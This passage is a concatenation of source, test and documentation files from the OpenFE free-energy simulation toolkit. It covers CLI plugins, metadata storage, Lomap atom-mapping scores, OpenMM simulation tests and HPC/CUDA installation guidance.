DGsolvent(lig_13, lig_14)\tsolvent\tlig_13\tlig_14\t15.0\t0.037 DGvacuum(lig_13, lig_14)\tvacuum\tlig_13\tlig_14\t15.0\t0.0057 """ def test_gather(results_dir, ref_gather): runner = CliRunner() result = runner.invoke(gather, ['results', '-o', '-']) assert result.exit_code == 0 actual_lines = set(result.stdout_bytes.split(b'\n')) assert set(ref_gather.split(b'\n')) == actual_lines <file_sep>import importlib from importlib import resources from rdkit import Chem from gufe import ProteinComponent from openfecli.parameters.protein import get_molecule def test_get_protein_pdb(): with importlib.resources.path("gufe.tests.data", "181l.pdb") as filename: protein_comp = get_molecule(str(filename)) assert isinstance(protein_comp, ProteinComponent) assert isinstance(protein_comp.to_rdkit(), Chem.Mol) def test_get_protein_pdbx(): with importlib.resources.path("gufe.tests.data", "181l.cif") as filename: protein_comp = get_molecule(str(filename)) assert isinstance(protein_comp, ProteinComponent) assert isinstance(protein_comp.to_rdkit(), Chem.Mol) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click import urllib import shutil from plugcli.cli import CLI, CONTEXT_SETTINGS from openfecli.fetching import FetchablePlugin from openfecli import OFECommandPlugin # MOVE SINGLEMODULEPLUGINLOADER UPSTREAM TO PLUGCLI import importlib from plugcli.plugin_management import CLIPluginLoader class SingleModulePluginLoader(CLIPluginLoader): """Load plugins from a specific module """ def __init__(self, module_name, plugin_class): super().__init__(plugin_type="single_module", search_path=module_name, plugin_class=plugin_class) def _find_candidates(self): return [importlib.import_module(self.search_path)] @staticmethod def _make_nsdict(candidate): return vars(candidate) class FetchCLI(CLI): """Custom command class for the Fetch subcommand. This provides the command sections used in help and defines where plugins should be kept. """ COMMAND_SECTIONS = ["Tutorials"] def get_loaders(self): return [ SingleModulePluginLoader('openfecli.fetchables', FetchablePlugin) ] def get_installed_plugins(self): loader = self.get_loaders()[0] return list(loader()) @click.command( cls=FetchCLI, short_help="Fetch tutorial or other resource." ) def fetch(): """ Fetch the given resource. Some resources require internet; others are built-in. """ PLUGIN = OFECommandPlugin( command=fetch, section="Miscellaneous", requires_ofe=(0, 7), ) if __name__ == "__main__": # it's useful to keep a main here for debugging where problems happen in # the command tree fetch() <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/gufe import json import abc import collections from typing import Tuple, Dict from gufe.storage.externalresource.base import Metadata from gufe.storage.errors import ( MissingExternalResourceError, ChangedExternalResourceError ) class MetadataStore(collections.abc.Mapping): def __init__(self, external_store): self.external_store = external_store self._metadata_cache = self.load_all_metadata() @abc.abstractmethod def store_metadata(self, location: str, metadata: Metadata): raise NotImplementedError() @abc.abstractmethod def load_all_metadata(self) -> Dict[str, Metadata]: raise NotImplementedError() @abc.abstractmethod def __delitem__(self, location): raise NotImplementedError() def __getitem__(self, location): return self._metadata_cache[location] def __iter__(self): return iter(self._metadata_cache) def __len__(self): return len(self._metadata_cache) class JSONMetadataStore(MetadataStore): # Using JSON for now because it is easy to write this class and doesn't # require any external dependencies. It is NOT the right way to go in # the long term. API will probably stay the same, though. def _dump_file(self): metadata_dict = {key: val.to_dict() for key, val in self._metadata_cache.items()} metadata_bytes = json.dumps(metadata_dict).encode('utf-8') self.external_store.store_bytes('metadata.json', metadata_bytes) def store_metadata(self, location: str, metadata: Metadata): self._metadata_cache[location] = metadata self._dump_file() def load_all_metadata(self): if not self.external_store.exists('metadata.json'): return {} with self.external_store.load_stream('metadata.json') as json_f: all_metadata_dict = json.loads(json_f.read().decode('utf-8')) all_metadata = {key: Metadata(**val) for key, val in all_metadata_dict.items()} return all_metadata def __delitem__(self, location): del self._metadata_cache[location] self._dump_file() class PerFileJSONMetadataStore(MetadataStore): _metadata_prefix = "metadata/" def _metadata_path(self, location): return self._metadata_prefix + location + ".json" def store_metadata(self, location: str, metadata: Metadata): self._metadata_cache[location] = metadata path = self._metadata_path(location) dct = { 'path': location, 'metadata': metadata.to_dict(), } metadata_bytes = json.dumps(dct).encode('utf-8') self.external_store.store_bytes(path, metadata_bytes) def load_all_metadata(self): metadata_cache = {} prefix = self._metadata_prefix for location in self.external_store.iter_contents(prefix=prefix): if location.endswith(".json"): with self.external_store.load_stream(location) as f: dct = json.loads(f.read().decode('utf-8')) if set(dct) != {"path", "metadata"}: raise ChangedExternalResourceError("Bad metadata file: " f"'{location}'") metadata_cache[dct['path']] = Metadata(**dct['metadata']) return metadata_cache def __delitem__(self, location): del self._metadata_cache[location] self.external_store.delete(self._metadata_path(location)) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe """ Reusable utility methods to validate input settings to OpenMM-based alchemical Protocols. """ import warnings from typing import Dict, List, Tuple from openff.units import unit from gufe import ( Component, ChemicalSystem, SolventComponent, ProteinComponent ) def validate_timestep(hmass: float, timestep: unit.Quantity): """ Check that the input timestep is suitable for the given hydrogen mass. Parameters ---------- hmass : float The target hydrogen mass (assumed units of amu). timestep : unit.Quantity The integration time step. Raises ------ ValueError If the hydrogen mass is less than 3 amu and the timestep is greater than 2 fs. """ if hmass < 3.0: if timestep > 2.0 * unit.femtoseconds: errmsg = f"timestep {timestep} too large for hydrogen mass {hmass}" raise ValueError(errmsg) def get_simsteps(equil_length: unit.Quantity, prod_length: unit.Quantity, timestep: unit.Quantity, mc_steps: int) -> Tuple[int, int]: """ Gets and validates the number of equilibration and production steps. Parameters ---------- equil_length : unit.Quantity Simulation equilibration length. prod_length : unit.Quantity Simulation production length. timestep : unit.Quantity Integration timestep. mc_steps : int Number of integration timesteps between MCMC moves. Returns ------- equil_steps : int The number of equilibration timesteps. prod_steps : int The number of production timesteps. """ equil_time = round(equil_length.to('attosecond').m) prod_time = round(prod_length.to('attosecond').m) ts = round(timestep.to('attosecond').m) equil_steps, mod = divmod(equil_time, ts) if mod != 0: raise ValueError("Equilibration time not divisible by timestep") prod_steps, mod = divmod(prod_time, ts) if mod != 0: raise ValueError("Production time not divisible by timestep") for var in [("Equilibration", equil_steps, equil_time), ("Production", prod_steps, prod_time)]: if (var[1] % mc_steps) != 0: errmsg = (f"{var[0]} time {var[2]/1000000} ps should contain a " "number of steps divisible by the number of integrator " f"timesteps between MC moves {mc_steps}") raise ValueError(errmsg) return equil_steps, prod_steps <file_sep>Using the CLI ============= In addition to the powerful Python API, OpenFE provides a simple command line interface to facilitate some more common (and less complicated) tasks. The Python API tries to be as easy to use as possible, but the CLI provides wrappers around some parts of the Python API to make it easier to integrate into non-Python workflows. The ``openfe`` command consists of several subcommands. This is similar to tools like ``gmx``, which has subcommands like ``gmx mdrun``, or ``conda``, which has subcommands like ``conda install``. To get a list of the subcommands and a brief description of them, use ``openfe (or ``openfe -h``), which will give: .. TODO autogemerate using sphinxcontrib-programoutput .. code:: none Usage: openfe [OPTIONS] COMMAND [ARGS]... This is the command line tool to provide easy access to functionality from the OpenFE Python library. Options: --version Show the version and exit. --log PATH logging configuration file -h, --help Show this message and exit. Setup Commands: plan-rhfe-network Plan a relative hydration free energy network, saved in a dir with multiple JSON files atommapping Check the atom mapping of a given pair of ligands plan-rbfe-network Plan a relative binding free energy network, saved in a dir with multiple JSON files. Simulation Commands: gather Gather DAG result jsons for network of RFE results into single TSV file quickrun Run a given transformation, saved as a JSON file The ``--log`` option takes a logging configuration file and sets that logging behavior. If you use it, it must come before the subcommand name. You can find out more about each subcommand by putting ``--help`` *after* the subcommand name, e.g., ``openfe quickrun --help``, which returns .. code:: none Usage: openfe quickrun [OPTIONS] TRANSFORMATION Run the transformation (edge) in the given JSON file in serial. To save a transformation as JSON, create the transformation and then save it with transformation.dump(filename). Options: -d, --work-dir DIRECTORY directory to store files in (defaults to current directory) -o FILE output file (JSON format) for the final results -h, --help Show this message and exit. For more details on various commands, see the :ref:`cli-reference`. <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from collections import defaultdict from lomap import dbmol as _dbmol from lomap import mcs as lomap_mcs import math from rdkit import Chem from . import LigandAtomMapping DEFAULT_ANS_DIFFICULTY = { # H to element - not sure this has any effect currently 1: {9: 0.5, 17: 0.25, 35: 0, 53: -0.5}, # O to element - methoxy to Cl/Br is easier than expected 8: {17: 0.85, 35: 0.85}, # F to element 9: {17: 0.5, 35: 0.25, 53: 0}, # Cl to element 17: {35: 0.85, 53: 0.65}, # Br to element 35: {53: 0.85}, } def ecr_score(mapping: LigandAtomMapping): molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() return 1 - _dbmol.ecr(molA, molB) def mcsr_score(mapping: LigandAtomMapping, beta: float = 0.1): """Maximum command substructure rule This rule was originally defined as:: mcsr = exp( - beta * (n1 + n2 - 2 * n_common)) Where n1 and n2 are the number of atoms in each molecule, and n_common the number of atoms in the MCS. Giving a value in the range [0, 1.0], with 1.0 being complete agreement This is turned into a score by simply returning (1-mcsr) """ molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB n1 = molA.GetNumHeavyAtoms() n2 = molB.GetNumHeavyAtoms() # get heavy atom mcs count n_common = 0 for i, j in molA_to_molB.items(): if (molA.GetAtomWithIdx(i).GetAtomicNum() != 1 and molB.GetAtomWithIdx(j).GetAtomicNum() != 1): n_common += 1 mcsr = math.exp(-beta * (n1 + n2 - 2 * n_common)) return 1 - mcsr def mncar_score(mapping: LigandAtomMapping, ths: int = 4): """Minimum number of common atoms rule Parameters ---------- ths : int the minimum number of atoms to share """ molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB n1 = molA.GetNumHeavyAtoms() n2 = molB.GetNumHeavyAtoms() n_common = 0 for i, j in molA_to_molB.items(): if (molA.GetAtomWithIdx(i).GetAtomicNum() != 1 and molB.GetAtomWithIdx(j).GetAtomicNum() != 1): n_common += 1 ok = (n_common > ths) or (n1 < ths + 3) or (n2 < ths + 3) return 0.0 if ok else 1.0 def tmcsr_score(self, mapping: LigandAtomMapping): raise NotImplementedError def atomic_number_score(mapping: LigandAtomMapping, beta=0.1, difficulty=None): """A score on the elemental changes happening in the mapping For each transmuted atom, a mismatch score is summed, according to the difficulty scores (see difficult parameter). The final score is then given as: score = 1 - exp(-beta * mismatch) Parameters ---------- mapping : LigandAtomMapping beta : float, optional scaling factor for this rule, default 0.1 difficulty : dict, optional a dict of dicts, mapping atomic number of one species, to another, to a mismatch in the identity of these elements. 1.0 indicates two elements are considered interchangeable, 0.0 indicates two elements are incompatible, a default of 0.5 is used. The scores in openfe.setup.lomap_mapper.DEFAULT_ANS_DIFFICULT are used by default Returns ------- score : float """ molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB if difficulty is None: difficulty = DEFAULT_ANS_DIFFICULTY nmismatch = 0 for i, j in molA_to_molB.items(): atom_i = molA.GetAtomWithIdx(i) atom_j = molB.GetAtomWithIdx(j) n_i = atom_i.GetAtomicNum() n_j = atom_j.GetAtomicNum() if n_i == n_j: continue elif n_i == 1 or n_j == 1: # ignore hydrogen switches? continue try: ij = difficulty[n_i][n_j] except KeyError: ij = -1 try: ji = difficulty[n_j][n_i] except KeyError: ji = -1 diff = max(ij, ji) if diff == -1: diff = 0.5 nmismatch += 1 - diff atomic_number_rule = math.exp(-beta * nmismatch) return 1 - atomic_number_rule def hybridization_score(mapping: LigandAtomMapping, beta=0.15): """ Score calculated as: 1 - math.exp(-beta * nmismatch) Parameters ---------- mapping : LigandAtomMapping beta : float, optional default 0.15 Returns ------- score : float """ mol1 = mapping.componentA.to_rdkit() mol2 = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB nmismatch = 0 for i, j in molA_to_molB.items(): atom_i = mol1.GetAtomWithIdx(i) atom_j = mol2.GetAtomWithIdx(j) if atom_i.GetAtomicNum() == 1 or atom_j.GetAtomicNum() == 1: # skip hydrogen changes continue hyb_i = lomap_mcs.atom_hybridization(atom_i) hyb_j = lomap_mcs.atom_hybridization(atom_j) mismatch = hyb_i != hyb_j # Allow Nsp3 to match Nsp2, otherwise guanidines etc become painful if (atom_i.GetAtomicNum() == 7 and atom_j.GetAtomicNum() == 7 and hyb_i in [2, 3] and hyb_j in [2, 3]): mismatch = False if mismatch: nmismatch += 1 hybridization_rule = math.exp(- beta * nmismatch) return 1 - hybridization_rule def sulfonamides_score(mapping: LigandAtomMapping, beta=0.4): """Checks if a sulfonamide appears and disallow this. Returns (1 - math.exp(- beta)) if this happens, else 0 """ molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB def has_sulfonamide(mol): return mol.HasSubstructMatch(Chem.MolFromSmarts('S(=O)(=O)N')) # create "remainders" of both molA and molB remA = Chem.EditableMol(molA) # this incremental deletion only works when we go from high to low, # as atoms are reindexed as we delete for i, j in sorted(molA_to_molB.items(), reverse=True): if (molA.GetAtomWithIdx(i).GetAtomicNum() != molB.GetAtomWithIdx(j).GetAtomicNum()): continue remA.RemoveAtom(i) # loop molB separately, sorted by A indices doesn't necessarily sort # the B indices too, so these loops are in different orders remB = Chem.EditableMol(molB) for i, j in sorted(molA_to_molB.items(), key=lambda x: x[1], reverse=True): if (molA.GetAtomWithIdx(i).GetAtomicNum() != molB.GetAtomWithIdx(j).GetAtomicNum()): continue remB.RemoveAtom(j) if has_sulfonamide(remA.GetMol()) or has_sulfonamide(remB.GetMol()): return 1 - math.exp(-beta) else: return 0 def heterocycles_score(mapping: LigandAtomMapping, beta=0.4): """Checks if a heterocycle is formed from a -H Pyrrole, furan and thiophene *are* pemitted however Returns 1 if this happens, else 0 """ molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB def creates_heterocyle(mol): # these patterns are lifted from lomap2 repo return (mol.HasSubstructMatch( Chem.MolFromSmarts('[n]1[c,n][c,n][c,n][c,n][c,n]1')) or mol.HasSubstructMatch( Chem.MolFromSmarts('[o,n,s]1[n][c,n][c,n][c,n]1')) or mol.HasSubstructMatch( Chem.MolFromSmarts('[o,n,s]1[c,n][n][c,n][c,n]1'))) # create "remainders" of both molA and molB # create "remainders" of both molA and molB remA = Chem.EditableMol(molA) # this incremental deletion only works when we go from high to low, # as atoms are reindexed as we delete for i, j in sorted(molA_to_molB.items(), reverse=True): if (molA.GetAtomWithIdx(i).GetAtomicNum() != molB.GetAtomWithIdx(j).GetAtomicNum()): continue remA.RemoveAtom(i) # loop molB separately, sorted by A indices doesn't necessarily sort # the B indices too, so these loops are in different orders remB = Chem.EditableMol(molB) for i, j in sorted(molA_to_molB.items(), key=lambda x: x[1], reverse=True): if (molA.GetAtomWithIdx(i).GetAtomicNum() != molB.GetAtomWithIdx(j).GetAtomicNum()): continue remB.RemoveAtom(j) if (creates_heterocyle(remA.GetMol()) or creates_heterocyle(remB.GetMol())): return 1 - math.exp(- beta) else: return 0 def transmuting_methyl_into_ring_score(mapping: LigandAtomMapping, beta=0.1, penalty=6.0): """Penalises ring forming Check if any atoms transition to/from rings in the mapping, if so returns a score of:: 1 - exp(-1 * beta * penalty) Parameters ---------- mapping : LigandAtomMapping beta : float penalty : float Returns ------- score : float """ molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB ringbreak = False for i, j in molA_to_molB.items(): atomA = molA.GetAtomWithIdx(i) for bA in atomA.GetBonds(): otherA = bA.GetOtherAtom(atomA) if otherA.GetIdx() in molA_to_molB: # if other end of bond in core, ignore continue # try and find the corresponding atom in molecule B atomB = molB.GetAtomWithIdx(j) for bB in atomB.GetBonds(): otherB = bB.GetOtherAtom(atomB) if otherB.GetIdx() in molA_to_molB.values(): continue if otherA.IsInRing() ^ otherB.IsInRing(): ringbreak = True if not ringbreak: return 0 else: return 1 - math.exp(- beta * penalty) def transmuting_ring_sizes_score(mapping: LigandAtomMapping): """Checks if mapping alters a ring size""" molA = mapping.componentA.to_rdkit() molB = mapping.componentB.to_rdkit() molA_to_molB = mapping.componentA_to_componentB def gen_ringdict(mol): # maps atom idx to ring sizes ringinfo = mol.GetRingInfo() idx_to_ringsizes = defaultdict(list) for r in ringinfo.AtomRings(): for idx in r: idx_to_ringsizes[idx].append(len(r)) return idx_to_ringsizes # generate ring size dicts ringdictA = gen_ringdict(molA) ringdictB = gen_ringdict(molB) is_bad = False # check first degree neighbours of core atoms to see if their ring # sizes are the same for i, j in molA_to_molB.items(): atomA = molA.GetAtomWithIdx(i) for bA in atomA.GetBonds(): otherA = bA.GetOtherAtom(atomA) if otherA.GetIdx() in molA_to_molB: # if other end of bond in core, ignore continue # otherA is an atom not in the mapping, but bonded to an # atom in the mapping if not otherA.IsInRing(): continue # try and find the corresponding atom in molecule B atomB = molB.GetAtomWithIdx(j) for bB in atomB.GetBonds(): otherB = bB.GetOtherAtom(atomB) if otherB.GetIdx() in molA_to_molB.values(): continue if not otherB.IsInRing(): continue # ringdict[idx] will give the list of ringsizes for an atom if set(ringdictA[otherA.GetIdx()]) != set( ringdictB[otherB.GetIdx()]): is_bad = True return 1 - 0.1 if is_bad else 0 def default_lomap_score(mapping: LigandAtomMapping): """The default score function from Lomap2 Note ---- Like other scores, relative to the original Lomap this is (1 - score) I.e. high values are "bad", low values are "good" """ score = math.prod(( 1 - ecr_score(mapping), 1 - mncar_score(mapping), 1 - mcsr_score(mapping), 1 - atomic_number_score(mapping), 1 - hybridization_score(mapping), 1 - sulfonamides_score(mapping), 1 - heterocycles_score(mapping), 1 - transmuting_methyl_into_ring_score(mapping), 1 - transmuting_ring_sizes_score(mapping) )) return 1 - score <file_sep>import os import click import pathlib from plugcli.params import MultiStrategyGetter, Option, NOT_PARSED def get_dir(user_input, context): dir_path = pathlib.Path(user_input) return dir_path OUTPUT_DIR = Option( "-o", "--output-dir", help="Path to the output directory. ", getter=get_dir, type=click.Path(file_okay=False, resolve_path=True), ) <file_sep>HPC === We recommend using `apptainer (formally singularity) <https://apptainer.org/>`_ when running ``openfe`` workflows in HPC environments. This images provide a software environment that is isolated from the host which can make workflow execution easier to setup and more reproducible. See our guide on :ref:`containers <installation:containers>` for how to get started using apptainer/singularity. ``micromamba`` Installation Considerations in HPC Environments -------------------------------------------------------------- ``conda``, ``mamba`` and ``micromamba`` all use `virtual packages <https://docs.conda.io/projects/conda/en/latest/user-guide/tasks/manage-virtual.html#managing-virtual-packages>`_ to detect which version of CUDA should be installed. For example, on a login node where there likely is not a GPU or a CUDA environment, ``micromamba info`` may produce output that looks like this :: $ micromamba info __ __ ______ ___ ____ _____ ___ / /_ ____ _ / / / / __ `__ \/ __ `/ __ `__ \/ __ \/ __ `/ / /_/ / / / / / / /_/ / / / / / / /_/ / /_/ / / .___/_/ /_/ /_/\__,_/_/ /_/ /_/_.___/\__,_/ /_/ environment : openfe_env (active) env location : /lila/home/henrym3/micromamba/envs/openfe_env user config files : /home/henrym3/.mambarc populated config files : /home/henrym3/.condarc libmamba version : 1.2.0 micromamba version : 1.2.0 curl version : libcurl/7.87.0 OpenSSL/1.1.1s zlib/1.2.13 libssh2/1.10.0 nghttp2/1.47.0 libarchive version : libarchive 3.6.2 zlib/1.2.13 bz2lib/1.0.8 libzstd/1.5.2 virtual packages : __unix=0=0 __linux=3.10.0=0 __glibc=2.17=0 __archspec=1=x86_64 channels : https://conda.anaconda.org/conda-forge/linux-64 https://conda.anaconda.org/conda-forge/noarch base environment : /lila/home/henrym3/micromamba platform : linux-64 Now if we run the same command on a HPC node that has a GPU :: $ micromamba info __ __ ______ ___ ____ _____ ___ / /_ ____ _ / / / / __ `__ \/ __ `/ __ `__ \/ __ \/ __ `/ / /_/ / / / / / / /_/ / / / / / / /_/ / /_/ / / .___/_/ /_/ /_/\__,_/_/ /_/ /_/_.___/\__,_/ /_/ environment : openfe_env (active) env location : /lila/home/henrym3/micromamba/envs/openfe_env user config files : /home/henrym3/.mambarc populated config files : /home/henrym3/.condarc libmamba version : 1.2.0 micromamba version : 1.2.0 curl version : libcurl/7.87.0 OpenSSL/1.1.1s zlib/1.2.13 libssh2/1.10.0 nghttp2/1.47.0 libarchive version : libarchive 3.6.2 zlib/1.2.13 bz2lib/1.0.8 libzstd/1.5.2 virtual packages : __unix=0=0 __linux=3.10.0=0 __glibc=2.17=0 __archspec=1=x86_64 __cuda=11.7=0 channels : https://conda.anaconda.org/conda-forge/linux-64 https://conda.anaconda.org/conda-forge/noarch base environment : /lila/home/henrym3/micromamba platform : linux-64 We can see that there is a virtual package ``__cuda=11.7=0``. This means that if we run a ``micromamba install`` command on a node with a GPU, the solver will install the correct version of the ``cudatoolkit``. However, if we ran the same command on the login node, the solver may install the wrong version of the ``cudatoolkit``, or depending on how the conda packages are setup, a CPU only version of the package. We can control the virtual package with the environmental variable ``CONDA_OVERRIDE_CUDA``. In order to determine the correct ``cudatoolkit`` version, we recommend connecting to the node where the simulation will be executed and run ``nvidia-smi``. For example :: $ nvidia-smi Tue Jun 13 17:47:11 2023 +-----------------------------------------------------------------------------+ | NVIDIA-SMI 515.43.04 Driver Version: 515.43.04 CUDA Version: 11.7 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | | | | MIG M. | |===============================+======================+======================| | 0 NVIDIA A40 On | 00000000:65:00.0 Off | 0 | | 0% 30C P8 32W / 300W | 0MiB / 46068MiB | 0% Default | | | | N/A | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: | | GPU GI CI PID Type Process name GPU Memory | | ID ID Usage | |=============================================================================| | No running processes found | +-----------------------------------------------------------------------------+ in this output of ``nvidia-smi`` we can see in the upper right of the output ``CUDA Version: 11.7`` which means the installed driver will support a ``cudatoolkit`` version up to ``11.7`` So on the login node, we can run ``CONDA_OVERRIDE_CUDA=11.7 micromamba info`` and see that the "correct" virtual CUDA is listed. For example, to install a version of ``openfe`` which is compatible with ``cudatoolkit 11.7`` run ``CONDA_OVERRIDE_CUDA=11.7 micromamba install openfe``. Common Errors ------------- openmm.OpenMMException: Error loading CUDA module: CUDA_ERROR_UNSUPPORTED_PTX_VERSION (222) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This error likely means that the CUDA version that ``openmm`` was built with is incompatible with the CUDA driver. Try re-making the environment while specifying the CUDA toolkit version that works with the CUDA driver on the node. For example ``micromamba create -n openfe_env openfe cudatoolkit==11.3``. <file_sep>.. _define_ligand_network: Defining the Ligand Network =========================== <file_sep>#!/usr/bin/env python # This script creates several files used in testing setup serialization: # # * openfe/tests/data/multi_molecule.sdf # * openfe/tests/data/serialization/ethane_template.sdf # * openfe/tests/data/serialization/network_template.graphml # # The two serialization templates need manual editing to replace the current # version of gufe with: # {GUFE_VERSION} from rdkit import Chem from rdkit.Chem import AllChem from openfe import SmallMoleculeComponent, LigandNetwork, LigandAtomMapping # multi_molecule.sdf mol1 = Chem.MolFromSmiles("CCO") mol2 = Chem.MolFromSmiles("CCC") writer = Chem.SDWriter("multi_molecule.sdf") writer.write(mol1) writer.write(mol2) writer.close() def mol_from_smiles(smiles: str) -> Chem.Mol: m = Chem.MolFromSmiles(smiles) AllChem.Compute2DCoords(m) return m # ethane_template.sdf m = SmallMoleculeComponent(mol_from_smiles("CC"), name="ethane") with open("ethane_template.sdf", mode="w") as tmpl: tmpl.write(m.to_sdf()) # ethane_with_H_template.sdf m2 = SmallMoleculeComponent(Chem.AddHs(m.to_rdkit())) with open("ethane_with_H_template.sdf", mode="w") as tmpl: tmpl.write(m2.to_sdf()) # network_template.graphml mol1 = SmallMoleculeComponent(mol_from_smiles("CCO")) mol2 = SmallMoleculeComponent(mol_from_smiles("CC")) mol3 = SmallMoleculeComponent(mol_from_smiles("CO")) edge12 = LigandAtomMapping(mol1, mol2, {0: 0, 1: 1}) edge23 = LigandAtomMapping(mol2, mol3, {0: 0}) edge13 = LigandAtomMapping(mol1, mol3, {0: 0, 2: 1}) network = LigandNetwork([edge12, edge23, edge13]) with open("network_template.graphml", "w") as fn: fn.write(network.to_graphml()) <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe from gufe.protocols import execute_DAG import pytest from openff.units import unit from openmm import Platform import os import pathlib import openfe from openfe.protocols import openmm_rfe @pytest.fixture def available_platforms() -> set[str]: return {Platform.getPlatform(i).getName() for i in range(Platform.getNumPlatforms())} @pytest.fixture def set_openmm_threads_1(): # for vacuum sims, we want to limit threads to one # this fixture sets OPENMM_CPU_THREADS='1' for a single test, then reverts to previously held value previous: str | None = os.environ.get('OPENMM_CPU_THREADS') try: os.environ['OPENMM_CPU_THREADS'] = '1' yield finally: if previous is None: del os.environ['OPENMM_CPU_THREADS'] else: os.environ['OPENMM_CPU_THREADS'] = previous @pytest.mark.slow @pytest.mark.flaky(reruns=3) # pytest-rerunfailures; we can get bad minimisation @pytest.mark.parametrize('platform', ['CPU', 'CUDA']) def test_openmm_run_engine(benzene_vacuum_system, platform, available_platforms, benzene_modifications, set_openmm_threads_1, tmpdir): if platform not in available_platforms: pytest.skip(f"OpenMM Platform: {platform} not available") # this test actually runs MD # if this passes, you're 99% likely to have a good time # these settings are a small self to self sim, that has enough eq that it doesn't occasionally crash s = openfe.protocols.openmm_rfe.RelativeHybridTopologyProtocol.default_settings() s.simulation_settings.equilibration_length = 0.1 * unit.picosecond s.simulation_settings.production_length = 0.1 * unit.picosecond s.integrator_settings.n_steps = 5 * unit.timestep s.system_settings.nonbonded_method = 'nocutoff' s.alchemical_sampler_settings.n_repeats = 1 s.engine_settings.compute_platform = platform s.simulation_settings.checkpoint_interval = 5 * unit.timestep p = openmm_rfe.RelativeHybridTopologyProtocol(s) b = benzene_vacuum_system['ligand'] # make a copy with a different name rdmol = benzene_modifications['benzene'].to_rdkit() b_alt = openfe.SmallMoleculeComponent.from_rdkit(rdmol, name='alt') benzene_vacuum_alt_system = openfe.ChemicalSystem({ 'ligand': b_alt }) m = openfe.LigandAtomMapping(componentA=b, componentB=b_alt, componentA_to_componentB={i: i for i in range(12)}) dag = p.create(stateA=benzene_vacuum_system, stateB=benzene_vacuum_alt_system, mapping={'ligand': m}) cwd = pathlib.Path(str(tmpdir)) r = execute_DAG(dag, shared_basedir=cwd, scratch_basedir=cwd, keep_shared=True) assert r.ok() for pur in r.protocol_unit_results: unit_shared = tmpdir / f"shared_{pur.source_key}_attempt_0" assert unit_shared.exists() assert pathlib.Path(unit_shared).is_dir() checkpoint = pur.outputs['last_checkpoint'] assert checkpoint == unit_shared / "checkpoint.nc" assert checkpoint.exists() nc = pur.outputs['nc'] assert nc == unit_shared / "simulation.nc" assert nc.exists() @pytest.mark.integration # takes ~7 minutes to run @pytest.mark.flaky(reruns=3) def test_run_eg5_sim(eg5_protein, eg5_ligands, eg5_cofactor, tmpdir): # this runs a very short eg5 complex leg # different to previous test: # - has a cofactor # - has an alchemical swap present # - runs in solvated protein # if this passes 99.9% chance of a good time s = openfe.protocols.openmm_rfe.RelativeHybridTopologyProtocol.default_settings() s.simulation_settings.equilibration_length = 0.1 * unit.picosecond s.simulation_settings.production_length = 0.1 * unit.picosecond s.integrator_settings.n_steps = 5 * unit.timestep s.alchemical_sampler_settings.n_repeats = 1 s.simulation_settings.checkpoint_interval = 5 * unit.timestep p = openmm_rfe.RelativeHybridTopologyProtocol(s) base_sys = { 'protein': eg5_protein, 'cofactor': eg5_cofactor, 'solvent': openfe.SolventComponent(), } # this is just a simple (unmapped) *-H -> *-F switch l1, l2 = eg5_ligands[0], eg5_ligands[1] m = openfe.LigandAtomMapping( componentA=l1, componentB=l2, # a bit lucky, first 51 atoms map to each other, H->F swap is at 52 componentA_to_componentB={i: i for i in range(51)} ) sys1 = openfe.ChemicalSystem(components={**base_sys, 'ligand': l1}) sys2 = openfe.ChemicalSystem(components={**base_sys, 'ligand': l2}) dag = p.create(stateA=sys1, stateB=sys2, mapping={'ligand': m}) cwd = pathlib.Path(str(tmpdir)) r = execute_DAG(dag, shared_basedir=cwd, scratch_basedir=cwd, keep_shared=True) assert r.ok() <file_sep>Cookbook ======== This will include various how-to guides. .. toctree:: loading_molecules creating_atom_mappings dumping_transformation <file_sep>Reference ========= This contains details of the Python API as well as a reference to the command line interface. .. toctree:: :maxdepth: 2 api/index cli/index <file_sep>import pytest import click.testing import contextlib import logging from openfecli.cli import OpenFECLI, main from openfecli.plugins import OFECommandPlugin @click.command( 'null-command', short_help="Do nothing (testing)" ) def null_command(): logger = logging.getLogger("null_command_logger") logger.info("Running null command") PLUGIN = OFECommandPlugin( command=null_command, section="Analysis", requires_ofe=(0, 3), ) @contextlib.contextmanager def null_command_context(cli): PLUGIN.attach_metadata(location=__file__, plugin_type="file") try: cli._register_plugin(PLUGIN) yield cli finally: cli._deregister_plugin(PLUGIN) @pytest.fixture def cli(): return OpenFECLI() class TestCLI: def test_invoke(self): runner = click.testing.CliRunner() with runner.isolated_filesystem(): # isolated_filesystem is overkill here, but good practice for # testing with CliRunner result = runner.invoke(main, ["-h"]) assert result.exit_code == 0 assert "Usage: openfe" in result.output def test_command_sections(self, cli): # This test does not ensure the order of the sections, and does not # prevent other sections from being added later. It only ensures # that the main 4 sections continue to exist. included = ["Network Planning", "Quickrun Executor", "Miscellaneous"] for sec in included: assert sec in cli.COMMAND_SECTIONS def test_get_installed_plugins(self, cli): # Test that we correctly load some plugins. This test only ensures # that some plugins are loaded; it currently does nothing to ensure # the identity of the specific plugins. plugins = 